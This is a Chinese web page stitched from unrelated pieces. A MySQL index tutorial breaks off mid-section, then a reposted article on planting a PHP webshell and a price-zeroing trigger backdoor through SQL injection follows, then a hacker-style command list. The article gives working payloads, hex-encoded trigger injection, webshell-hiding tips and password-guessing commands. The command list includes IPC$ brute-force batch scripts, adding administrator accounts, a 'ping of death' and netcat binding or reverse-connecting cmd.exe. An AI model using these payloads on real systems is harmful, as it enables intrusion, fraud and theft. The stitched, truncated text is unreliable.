如何创建mysql索引以及索引的优缺点

如何创建mysql索引以及索引的优缺点,第1张

mysql教程:索引的使用以及索引的优缺点

1. 索引(index)是帮助MySQL高效获取数据的数据结构。

它对于高性能非常关键,但人们通常会忘记或误解它。

索引在数据越大的时候越重要。规模小、负载轻的数据库即使没有索引,也能有好的性能, 但是当数据增加的时候,性能就会下降很快。

Tip:蠕虫复制,可以快速复制大量的数据

例:insert into emp select * from emp

2. MySQL中常见的索引

◆普通索引 ◆唯一索引 ◆主键索引 ◆组合索引 ◆全文索引◆外键 (只有innodb存储引擎才支持)

2.1普通索引:

这是最基本的索引,它没有任何限制。有以下几种创建方式:

有以下几种创建方式:

◆创建索引

CREATE INDEX indexName ON tablename(username(length))

◆修改表结构

ALTER tablename ADD INDEX indexName (username(length))

Tip:length可以小于字段实际长度如果是BLOB 和 TEXT 类型,必须指定length ,下同

◆创建表的时候直接指定

CREATE TABLE mytableuuu( ID INT NOT NULL, username VARCHAR(16) NOT NULL, INDEX indexName (username(length)) )

CREATE TABLE mytable(id INT NOT NULL,username VARCHAR(16) NOT NULL)

create index index1 on mytable(id) //创建普通索引

◆删掉索引:

drop index index1 on mytable

有一个概念,

行定义:在声明字段(列)的时候定义的,比如primary key

表定义:在所有字段(列)声明完之后定义的,比如primary key,index

CREATE TABLE mytable(id INT NOT NULL,username VARCHAR(16) NOT NULL,index index1(username))

3.0唯一索引(unique)

索引列的值必须唯一,但允许有空值。

1)创建索引:Create UNIQUE INDEX indexName ON tableName(tableColumns(length))

2)修改表结构:Alter tableName ADD UNIQUE [indexName] ON (tableColumns(length)

3)创建表的时候直接指定:Create TABLE tableName ( [...], UNIQUE [indexName](tableColumns(length))

4.0主键索引(primary key)

如何利用SQL注入制造一个后门

0×01,介绍…

0×02,什么是Sql Injection..

0×03,一个系统后门(OS)Backdoor.

0×04,获得一个OS Shell

0×05,一个数据库后门(Database backdoor).

0×07,推荐的防御措施…

0×08,结论…

0×09,参考…

0×01,介绍

如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒,或者是它一种特洛伊木马或者蠕虫,这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染,那么当你使被感染的计算机连接到互联网,它很可能会去感染其他的计算机。许多时候,恶意软件不仅仅只是从一台计算机传播到另一台,他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上,这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。

0×02,什么是Sql Injection

已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁,所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识,这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。

0×03,一个系统后门(OS)Backdoor

这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制 *** 作系统。为了运行系统命令,我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。

0×04,获得一个OS Shell

现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制 *** 作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示,语句Harry Potter’ union select 1,2,3,4#将会出现错误:

现在,我们想插入可以执行系统命令的PHP代码。为了实现这个目的,我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图:

现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制 *** 作系统。我们使用这样的语句: Harry Potter’ union select “<?system($_REQUEST['cmd'])?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:

就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:

‘ union select “<? system($_REQUEST['cmd'])?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。

尽管这回还是返回了2和3,但是好多了。

现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。

成功了。通过我多次的尝试,这里有几点需要注意的事情。

–运行这条语句的数据库用户需要拥有FILE权限,否则不能执行INTO OUTFILE命令。

–在MySQL服务运行的主机中必须存在一个可写的Web目录,否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp,但是你没有权限访问它。

一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章,你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。

下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。

运行一个命令来检查我们是否已经获得了一个Shell。OK,没问题。

这实在是太容易了。

不幸的是,从‘破坏者’的角度来看这也同样是简单的。

现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一

个WebShell时,请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。

在开始下一类Backdoor之前,我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。

然后当SQLMap将实际的WebShell上传到可写目录的时候,brupSuite会拦截到一些请求,让我们看一下这些请求。

我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令,和我们之前人工使用的方法是一样的。

最后,我们看一下SQLMap上传WebShell的内容,非常有意思,看一下底部的面板。

这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。

0×05,一个数据库后门(Database backdoor)

现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下backdoor function的相关知识。在OS backdoor中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的 *** 作执行时,我们配置的后门会改变数据库中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成0,以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。

所以我们在数据库中有一些叫做“触发器”的东西,基本的意思就是——“当某些我们希望发生的事情发生时,触动触发器去做另外一些事情”。这描述的确实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子d对么?那么把他转换为我们之前的场景——有一个INSERT语句(杀手),一个Database trigger(q手)开火了,那么动作(action)就是释放你之前已经配置(configured)好的子d(bullet)。

下面使我们要写的一个MySQL触发器的例子:

delimiter #

CREATE TRIGGER price BEFORE INSERT ON books

for each row begin

set new.price=’0′

end#

delimiter

b)无论任何时候如果我们执行一个Insert语句,比如假如一本书,那么我们设置其价格为0.下面是它的意思:

a)设置默认的MySQL分隔符为’#',因为默认的分隔符是’'在MySQL作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为’#',表示’#'现在有一个特殊的含义。

c)终止触发器并将分隔符重置为’'。

然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句:

Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#

我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’;这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder,不要坐在那儿浪费时间去手工转化它)。

让我们运行一下看看会在文件/var/www/test/g2中出现什么。

你注意到了最开始的几个空格了么?这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。

现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。

a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blahsource /var/www/test/g2但是这事实上不会成功执行,因为PHP+MySQL不支持多语句查询。

b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过,不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。

c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。

我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。

看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项a,c意味着同一种情况。让我们通过代理来查看SQLMap的请求。

让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo”并在Brup中查看。

我们可以看到,SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。

我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:

—猜解一个有效MySQL用户的密码。例如,你猜到root的密码是test123

—注入一个OS webshell后门。

—注入一个类似之前格式的触发器。

—现在通过在Webshell中运行MySQL命令来安装触发器。

我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。

假设我们已经猜解到了用户名和密码root和toor(通过Blind SQL暴力猜解mysql.user表)。现在我们反问Web shell并传递一个命令:

mysql -u<USERNAME>-p<PASSWORD><DB NAME></var/www/test/g2

现在我们再来看一下数据库。

看到了我们的触发器。

现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。

现在执行查询:

看最后一行。某些人可以不用支付他本认为应该支付的价格了。

现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个INSERT查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。

明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。

—想一些常用的数据库用户名(比如MySQL的root)或者通过社会工程学获得一些。

—MySQL密码是通过哈希加密的,并不是明文。

你可以通过以下两种方式破解密码:

—通过SQL Injection将密码的Hash与密码明文列表对比。(参考我之前的文章)

—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。

mysql -uroot -ptoor blindsql_test</var/www/test/g2

mysql -uroot -proot blindsql_test</var/www/test/g2

mysql -uroot -ptest blindsql_test</var/www/test/g2

mysql -uroot -ppassword blindsql_test</var/www/test/g2

0×07,推荐的防御措施

a)使用参数化查询来防御SQL注入攻击。

b)不要在Web目录中存在大量可写目录。

c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配FILE权限。

d)设置复杂的数据库密码和健壮的密码策略。

0×08,结论

这个问题的根源,是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。

出自:http://www.freebuf.com/articles/222.html

DOS命令大全:

CMD命令

net use ipipc$ " " /user:" " 建立IPC空链接

net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接

net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

net use h: ipc$ 登陆后映射对方C:到本地为H:

net use ipipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:

administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time 目标ip 查看对方时间

net time 目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直

ping。

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参

数"/all"显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-

H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-

S *.*"表示删除当前目录下除系统文件以外的所有文件

二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除 *** 作时的系统

确认就直接删除。(二个命令作用相同)

move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt >3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,">"和">>" 是重定向命

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:

2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文

件)至本地C:

xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将"IP"的

server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式

(传送文本文件模式)进行传送

tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件 *** 作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文

本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway

addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某

属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续....

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签)

call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >>pass.txt 将"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡

绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

三:

ver 在DOS窗口下显示版本信息

winver d出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey

dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)--针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户

名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更

改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地网络配置情况

四:

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将

会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令: (后面有详细说明内容)

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本

地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:

mysql -h主机地址 -u用户名 -p密码 连接MYSQL如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不用加空格,其它也一样)

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by "密码"增加新用户。(注意:和上面不同,下

面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

show databases显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我

们改密码和新增用户,实际上就是用这个库进行 *** 作。

use mysql;

show tables显示库中的数据表

describe 表名显示数据表的结构

create database 库名建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名

drop table 表名; 删库和删表

delete from 表名将表中记录清空

select * from 表名显示表中的记录

mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysql in目录下执行)注释:将数据库

school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

win2003系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主

机。

例:shutdown /r /t 0 立即重启本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终

止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

六:

Linux系统下基本命令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件,rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录,目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定

一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0-%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2-%9指输入的

第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ "(1 1

254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1 -1 254)"说明:即从254到

1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:&来隔开

command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如

(d:pass.txt)时 }。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* >test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt &net use \%1.%%G /

user:administrator | find "命令成功完成" >>test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存

在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);&用来

隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的

IP地址;(1 1 254) 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为

用户名;%1为输入的IP地址(默认)。

七:

2:if命令及变量 基本格式:

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为"真"。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行

最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:"if "%2%"=="4" goto start"指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加"

")

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:"if not nc.exe goto end"指:如果没有发现nc.exe文件就跳到":end"标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令

语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else

后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用<>括起来,因为del命令要单独一行时才

能执行,用上<>后就等于是单独一行了;例如:"if exist test.txt. <del test.txt.>else echo

test.txt.missing ",注意命令中的"."

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:

-h 查看帮助信息

-d 后台模式

-e prog程序重定向,一但连接就执行〔危险〕

-i secs延时的间隔

-l 监听模式,用于入站连接

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C

-n IP地址,不能用域名

-o film记录16进制的传输

-p[空格]端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出,用-vv将更详细

-w数字 timeout延时间隔

-z 将输入,输出关掉(用于扫锚时)

基本用法:

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的

TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向

连接192.168.0.2的5354端口

高级用法:

nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止

nc -L -p 80 >c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt

nc -L -p 80 <c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把

c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把

c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

本机上用:nc -l -p 本机端口

